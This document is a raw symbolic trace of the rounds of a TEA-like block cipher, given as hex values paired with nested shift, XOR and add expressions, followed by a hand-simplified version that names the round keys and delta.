('0x14a3f0e60', '(0x11ef5390+((((0x53aa687<<0x4)+0x4ec10fc6)^(0x53aa687+((((((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x53aa687>>0x5)+0xe98cd7d9)))+(((((0x53aa687+(((((0x11ef5390+((((0x53aa687<<0x4)+0x4ec10fc6)^(0x53aa687+((((((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x53aa687>>0x5)+0xe98cd7d9)))<<0x4)+0xd30a286e)^((0x11ef5390+((((0x53aa687<<0x4)+0x4ec10fc6)^(0x53aa687+((((((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x53aa687>>0x5)+0xe98cd7d9)))+((((((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^(((0x11ef5390+((((0x53aa687<<0x4)+0x4ec10fc6)^(0x53aa687+((((((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x53aa687>>0x5)+0xe98cd7d9)))>>0x5)+0xca2410fd)))<<0x4)+0x4ec10fc6)^((0x53aa687+(((((0x11ef5390+((((0x53aa687<<0x4)+0x4ec10fc6)^(0x53aa687+((((((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x53aa687>>0x5)+0xe98cd7d9)))<<0x4)+0xd30a286e)^((0x11ef5390+((((0x53aa687<<0x4)+0x4ec10fc6)^(0x53aa687+((((((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x53aa687>>0x5)+0xe98cd7d9)))+((((((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^(((0x11ef5390+((((0x53aa687<<0x4)+0x4ec10fc6)^(0x53aa687+((((((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x53aa687>>0x5)+0xe98cd7d9)))>>0x5)+0xca2410fd)))+(((((((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^(((0x53aa687+(((((0x11ef5390+((((0x53aa687<<0x4)+0x4ec10fc6)^(0x53aa687+((((((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x53aa687>>0x5)+0xe98cd7d9)))<<0x4)+0xd30a286e)^((0x11ef5390+((((0x53aa687<<0x4)+0x4ec10fc6)^(0x53aa687+((((((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x53aa687>>0x5)+0xe98cd7d9)))+((((((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^(((0x11ef5390+((((0x53aa687<<0x4)+0x4ec10fc6)^(0x53aa687+((((((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x53aa687>>0x5)+0xe98cd7d9)))>>0x5)+0xca2410fd)))>>0x5)+0xe98cd7d9))')
('0x212dd8d34', '(0x53aa687+(((((0x11ef5390+((((0x53aa687<<0x4)+0x4ec10fc6)^(0x53aa687+((((((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x53aa687>>0x5)+0xe98cd7d9)))<<0x4)+0xd30a286e)^((0x11ef5390+((((0x53aa687<<0x4)+0x4ec10fc6)^(0x53aa687+((((((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x53aa687>>0x5)+0xe98cd7d9)))+((((((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^(((0x11ef5390+((((0x53aa687<<0x4)+0x4ec10fc6)^(0x53aa687+((((((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x53aa687>>0x5)+0xe98cd7d9)))>>0x5)+0xca2410fd)))+((((0x4a3f0e60<<0x4)+0xd30a286e)^(0x4a3f0e60+(((((((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x4a3f0e60>>0x5)+0xca2410fd))')
('0x22d62c152', '(0x4a3f0e60+((((0x12dd8d34<<0x4)+0x4ec10fc6)^(0x12dd8d34+((((((((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x12dd8d34>>0x5)+0xe98cd7d9)))+(((((0x12dd8d34+(((((0x4a3f0e60+((((0x12dd8d34<<0x4)+0x4ec10fc6)^(0x12dd8d34+((((((((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x12dd8d34>>0x5)+0xe98cd7d9)))<<0x4)+0xd30a286e)^((0x4a3f0e60+((((0x12dd8d34<<0x4)+0x4ec10fc6)^(0x12dd8d34+((((((((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x12dd8d34>>0x5)+0xe98cd7d9)))+((((((((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^(((0x4a3f0e60+((((0x12dd8d34<<0x4)+0x4ec10fc6)^(0x12dd8d34+((((((((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x12dd8d34>>0x5)+0xe98cd7d9)))>>0x5)+0xca2410fd)))<<0x4)+0x4ec10fc6)^((0x12dd8d34+(((((0x4a3f0e60+((((0x12dd8d34<<0x4)+0x4ec10fc6)^(0x12dd8d34+((((((((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x12dd8d34>>0x5)+0xe98cd7d9)))<<0x4)+0xd30a286e)^((0x4a3f0e60+((((0x12dd8d34<<0x4)+0x4ec10fc6)^(0x12dd8d34+((((((((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x12dd8d34>>0x5)+0xe98cd7d9)))+((((((((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^(((0x4a3f0e60+((((0x12dd8d34<<0x4)+0x4ec10fc6)^(0x12dd8d34+((((((((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x12dd8d34>>0x5)+0xe98cd7d9)))>>0x5)+0xca2410fd)))+(((((((((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^(((0x12dd8d34+(((((0x4a3f0e60+((((0x12dd8d34<<0x4)+0x4ec10fc6)^(0x12dd8d34+((((((((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x12dd8d34>>0x5)+0xe98cd7d9)))<<0x4)+0xd30a286e)^((0x4a3f0e60+((((0x12dd8d34<<0x4)+0x4ec10fc6)^(0x12dd8d34+((((((((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x12dd8d34>>0x5)+0xe98cd7d9)))+((((((((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^(((0x4a3f0e60+((((0x12dd8d34<<0x4)+0x4ec10fc6)^(0x12dd8d34+((((((((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x12dd8d34>>0x5)+0xe98cd7d9)))>>0x5)+0xca2410fd)))>>0x5)+0xe98cd7d9))')
('0x13c3ff952', '(0x12dd8d34+(((((0x4a3f0e60+((((0x12dd8d34<<0x4)+0x4ec10fc6)^(0x12dd8d34+((((((((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x12dd8d34>>0x5)+0xe98cd7d9)))<<0x4)+0xd30a286e)^((0x4a3f0e60+((((0x12dd8d34<<0x4)+0x4ec10fc6)^(0x12dd8d34+((((((((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x12dd8d34>>0x5)+0xe98cd7d9)))+((((((((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^(((0x4a3f0e60+((((0x12dd8d34<<0x4)+0x4ec10fc6)^(0x12dd8d34+((((((((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x12dd8d34>>0x5)+0xe98cd7d9)))>>0x5)+0xca2410fd)))+((((0x2d62c152<<0x4)+0xd30a286e)^(0x2d62c152+(((((((((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x2d62c152>>0x5)+0xca2410fd))')  
('0x10bce2611', '0x2d62c152+((((0x3c3ff952<<0x4)+0x4ec10fc6)^(0x3c3ff952+((((((((((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x3c3ff952>>0x5)+0xe98cd7d9))')
('0x1ee7d493c', '0x3c3ff952+((((0xbce2611<<0x4)+0xd30a286e)^(0xbce2611+((((((((((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0xbce2611>>0x5)+0xca2410fd))')
('0x1a35b9c36', '0xee7d493c+(((((0xbce2611+((((0xee7d493c<<0x4)+0x4ec10fc6)^(0xee7d493c+(((((((((((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0xee7d493c>>0x5)+0xe98cd7d9)))<<0x4)+0xd30a286e)^((0xbce2611+((((0xee7d493c<<0x4)+0x4ec10fc6)^(0xee7d493c+(((((((((((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0xee7d493c>>0x5)+0xe98cd7d9)))+(((((((((((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^(((0xbce2611+((((0xee7d493c<<0x4)+0x4ec10fc6)^(0xee7d493c+(((((((((((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0xee7d493c>>0x5)+0xe98cd7d9)))>>0x5)+0xca2410fd))')
('0x10fedcb98', '(((((((((((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678)')
('0x11106065b', '(0xbce2611+((((0xee7d493c<<0x4)+0x4ec10fc6)^(0xee7d493c+(((((((((((((0x11111108+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0xee7d493c>>0x5)+0xe98cd7d9)))+((((0xa35b9c36<<0x4)+0x4ec10fc6)^(0xa35b9c36+0xfedcb98))^((0xa35b9c36>>0x5)+0xe98cd7d9))')
('0x148954659', '0x1106065b+(((((0xa35b9c36+((((0x1106065b<<0x4)+0xd30a286e)^(0x1106065b+0xfedcb98))^((0x1106065b>>0x5)+0xca2410fd)))<<0x4)+0x4ec10fc6)^((0xa35b9c36+((((0x1106065b<<0x4)+0xd30a286e)^(0x1106065b+0xfedcb98))^((0x1106065b>>0x5)+0xca2410fd)))+(0xfedcb98+(0x0+0x12345678))))^(((0xa35b9c36+((((0x1106065b<<0x4)+0xd30a286e)^(0x1106065b+0xfedcb98))^((0x1106065b>>0x5)+0xca2410fd)))>>0x5)+0xe98cd7d9))')
('0x2a71219b0', '(0xa35b9c36+((((0x1106065b<<0x4)+0xd30a286e)^(0x1106065b+0xfedcb98))^((0x1106065b>>0x5)+0xca2410fd)))+((((0x48954659<<0x4)+0xd30a286e)^(0x48954659+(0xfedcb98+(0x0+0x12345678))))^((0x48954659>>0x5)+0xca2410fd))')
('0x17de5c3a5', '0xa71219b0+(((((0x48954659+((((0xa71219b0<<0x4)+0x4ec10fc6)^(0xa71219b0+((0xfedcb98+(0x0+0x12345678))+(0x0+0x12345678))))^((0xa71219b0>>0x5)+0xe98cd7d9)))<<0x4)+0xd30a286e)^((0x48954659+((((0xa71219b0<<0x4)+0x4ec10fc6)^(0xa71219b0+((0xfedcb98+(0x0+0x12345678))+(0x0+0x12345678))))^((0xa71219b0>>0x5)+0xe98cd7d9)))+((0xfedcb98+(0x0+0x12345678))+(0x0+0x12345678))))^(((0x48954659+((((0xa71219b0<<0x4)+0x4ec10fc6)^(0xa71219b0+((0xfedcb98+(0x0+0x12345678))+(0x0+0x12345678))))^((0xa71219b0>>0x5)+0xe98cd7d9)))>>0x5)+0xca2410fd))')
('0x1d6f673f6', '(0x48954659+((((0xa71219b0<<0x4)+0x4ec10fc6)^(0xa71219b0+((0xfedcb98+(0x0+0x12345678))+(0x0+0x12345678))))^((0xa71219b0>>0x5)+0xe98cd7d9)))+((((0x7de5c3a5<<0x4)+0x4ec10fc6)^(0x7de5c3a5+(((0xfedcb98+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x7de5c3a5>>0x5)+0xe98cd7d9))')

再手动处理一下得到

('0x2902a5c29', 'v1+(((((b2+0x0)<<0x4)+k1)^(b2+0x0))^(((b2+0x0)>>0x5)+k2))')
('0x1ea11d16c', '0x902a5c29+((((((b2+0x0)+((((0x902a5c29<<0x4)+k3)^(0x902a5c29+delta))^((0x902a5c29>>0x5)+k4)))<<0x4)+k1)^(((b2+0x0)+((((0x902a5c29<<0x4)+k3)^(0x902a5c29+delta))^((0x902a5c29>>0x5)+k4)))+delta))^((((b2+0x0)+((((0x902a5c29<<0x4)+k3)^(0x902a5c29+delta))^((0x902a5c29>>0x5)+k4)))>>0x5)+k2))')
('0x1ea6b44c6', '((b2+0x0)+((((0x902a5c29<<0x4)+k3)^(0x902a5c29+delta))^((0x902a5c29>>0x5)+k4)))+((((0xea11d16c<<0x4)+k3)^(0xea11d16c+(delta+delta)))^((0xea11d16c>>0x5)+k4))')
('0x1902cbfc7', '0xea11d16c+((((0xea6b44c6<<0x4)+k1)^(0xea6b44c6+(delta+delta)))^((0xea6b44c6>>0x5)+k2))')
('0x163b63794', '0xea6b44c6+((((0x902cbfc7<<0x4)+k3)^(0x902cbfc7+((delta+delta)+delta)))^((0x902cbfc7>>0x5)+k4))')
('0x1e9ac19b2', '0x902cbfc7+((((0x63b63794<<0x4)+k1)^(0x63b63794+((delta+delta)+delta)))^((0x63b63794>>0x5)+k2))')
('0x18edc1966', '0x63b63794+((((0xe9ac19b2<<0x4)+k3)^(0xe9ac19b2+(((delta+delta)+delta)+delta)))^((0xe9ac19b2>>0x5)+k4))')
('0x2c3a855f2', '0xe9ac19b2+((((0x8edc1966<<0x4)+k1)^(0x8edc1966+(((delta+delta)+delta)+delta)))^((0x8edc1966>>0x5)+k2))')
('0x2071e8b8a', '0x8edc1966+((((0xc3a855f2<<0x4)+k3)^(0xc3a855f2+((((delta+delta)+delta)+delta)+delta)))^((0xc3a855f2>>0x5)+k4))')
('0x2b03435a7', '0xc3a855f2+((((0x71e8b8a<<0x4)+k1)^(0x71e8b8a+((((delta+delta)+delta)+delta)+delta)))^((0x71e8b8a>>0x5)+k2))')
('0x1a782bb51', '0x71e8b8a+((((0xb03435a7<<0x4)+k3)^(0xb03435a7+(((((delta+delta)+delta)+delta)+delta)+delta)))^((0xb03435a7>>0x5)+k4))')
('0x1411d6f2f', '0xb03435a7+((((0xa782bb51<<0x4)+k1)^(0xa782bb51+(((((delta+delta)+delta)+delta)+delta)+delta)))^((0xa782bb51>>0x5)+k2))')
('0x2d8f9ed17', '(0xa782bb51+((((0x411d6f2f<<0x4)+k3)^(0x411d6f2f+((((((delta+delta)+delta)+delta)+delta)+delta)+delta)))^((0x411d6f2f>>0x5)+k4)))+(((((0x411d6f2f+(((((0xa782bb51+((((0x411d6f2f<<0x4)+k3)^(0x411d6f2f+((((((delta+delta)+delta)+delta)+delta)+delta)+delta)))^((0x411d6f2f>>0x5)+k4)))<<0x4)+k1)^((0xa782bb51+((((0x411d6f2f<<0x4)+k3)^(0x411d6f2f+((((((delta+delta)+delta)+delta)+delta)+delta)+delta)))^((0x411d6f2f>>0x5)+k4)))+((((((delta+delta)+delta)+delta)+delta)+delta)+delta)))^(((0xa782bb51+((((0x411d6f2f<<0x4)+k3)^(0x411d6f2f+((((((delta+delta)+delta)+delta)+delta)+delta)+delta)))^((0x411d6f2f>>0x5)+k4)))>>0x5)+k2)))<<0x4)+k3)^((0x411d6f2f+(((((0xa782bb51+((((0x411d6f2f<<0x4)+k3)^(0x411d6f2f+((((((delta+delta)+delta)+delta)+delta)+delta)+delta)))^((0x411d6f2f>>0x5)+k4)))<<0x4)+k1)^((0xa782bb51+((((0x411d6f2f<<0x4)+k3)^(0x411d6f2f+((((((delta+delta)+delta)+delta)+delta)+delta)+delta)))^((0x411d6f2f>>0x5)+k4)))+((((((delta+delta)+delta)+delta)+delta)+delta)+delta)))^(((0xa782bb51+((((0x411d6f2f<<0x4)+k3)^(0x411d6f2f+((((((delta+delta)+delta)+delta)+delta)+delta)+delta)))^((0x411d6f2f>>0x5)+k4)))>>0x5)+k2)))+(((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^(((0x411d6f2f+(((((0xa782bb51+((((0x411d6f2f<<0x4)+k3)^(0x411d6f2f+((((((delta+delta)+delta)+delta)+delta)+delta)+delta)))^((0x411d6f2f>>0x5)+k4)))<<0x4)+k1)^((0xa782bb51+((((0x411d6f2f<<0x4)+k3)^(0x411d6f2f+((((((delta+delta)+delta)+delta)+delta)+delta)+delta)))^((0x411d6f2f>>0x5)+k4)))+((((((delta+delta)+delta)+delta)+delta)+delta)+delta)))^(((0xa782bb51+((((0x411d6f2f<<0x4)+k3)^(0x411d6f2f+((((((delta+delta)+delta)+delta)+delta)+delta)+delta)))^((0x411d6f2f>>0x5)+k4)))>>0x5)+k2)))>>0x5)+k4))')
('0x1ba5af061', '(0x411d6f2f+(((((0xa782bb51+((((0x411d6f2f<<0x4)+k3)^(0x411d6f2f+((((((delta+delta)+delta)+delta)+delta)+delta)+delta)))^((0x411d6f2f>>0x5)+k4)))<<0x4)+k1)^((0xa782bb51+((((0x411d6f2f<<0x4)+k3)^(0x411d6f2f+((((((delta+delta)+delta)+delta)+delta)+delta)+delta)))^((0x411d6f2f>>0x5)+k4)))+((((((delta+delta)+delta)+delta)+delta)+delta)+delta)))^(((0xa782bb51+((((0x411d6f2f<<0x4)+k3)^(0x411d6f2f+((((((delta+delta)+delta)+delta)+delta)+delta)+delta)))^((0x411d6f2f>>0x5)+k4)))>>0x5)+k2)))+((((0xd8f9ed17<<0x4)+k1)^(0xd8f9ed17+(((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0xd8f9ed17>>0x5)+k2))')
('0x21e182d2a', '0xd8f9ed17+((((0xba5af061<<0x4)+k3)^(0xba5af061+((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0xba5af061>>0x5)+k4))')
('0x278d20e6b', '0xba5af061+((((0x1e182d2a<<0x4)+k1)^(0x1e182d2a+((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x1e182d2a>>0x5)+k2))')
('0x136881e4b', '0x1e182d2a+((((0x78d20e6b<<0x4)+k3)^(0x78d20e6b+(((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x78d20e6b>>0x5)+k4))')
('0x195993075', '0x78d20e6b+((((0x36881e4b<<0x4)+k1)^(0x36881e4b+(((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x36881e4b>>0x5)+k2))')
('0x1523d7022', '0x36881e4b+((((0x95993075<<0x4)+k3)^(0x95993075+((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x95993075>>0x5)+k4))')
('0x1b5c3222f', '0x95993075+((((0x523d7022<<0x4)+k1)^(0x523d7022+((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x523d7022>>0x5)+k2))')
('0x2283c5db5', '0x523d7022+((((0xb5c3222f<<0x4)+k3)^(0xb5c3222f+(((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0xb5c3222f>>0x5)+k4))')
('0x154c8bd30', '0xb5c3222f+((((0x283c5db5<<0x4)+k1)^(0x283c5db5+(((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x283c5db5>>0x5)+k2))')
('0x15e4b3c01', '0x283c5db5+((((0x54c8bd30<<0x4)+k3)^(0x54c8bd30+((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x54c8bd30>>0x5)+k4))')
('0x22cd286c5', '0x5e4b3c01+(((((0x54c8bd30+((((0x5e4b3c01<<0x4)+k1)^(0x5e4b3c01+((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x5e4b3c01>>0x5)+k2)))<<0x4)+k3)^((0x54c8bd30+((((0x5e4b3c01<<0x4)+k1)^(0x5e4b3c01+((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x5e4b3c01>>0x5)+k2)))+(((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^(((0x54c8bd30+((((0x5e4b3c01<<0x4)+k1)^(0x5e4b3c01+((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x5e4b3c01>>0x5)+k2)))>>0x5)+k4))')
('0x111111108', '(((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta')
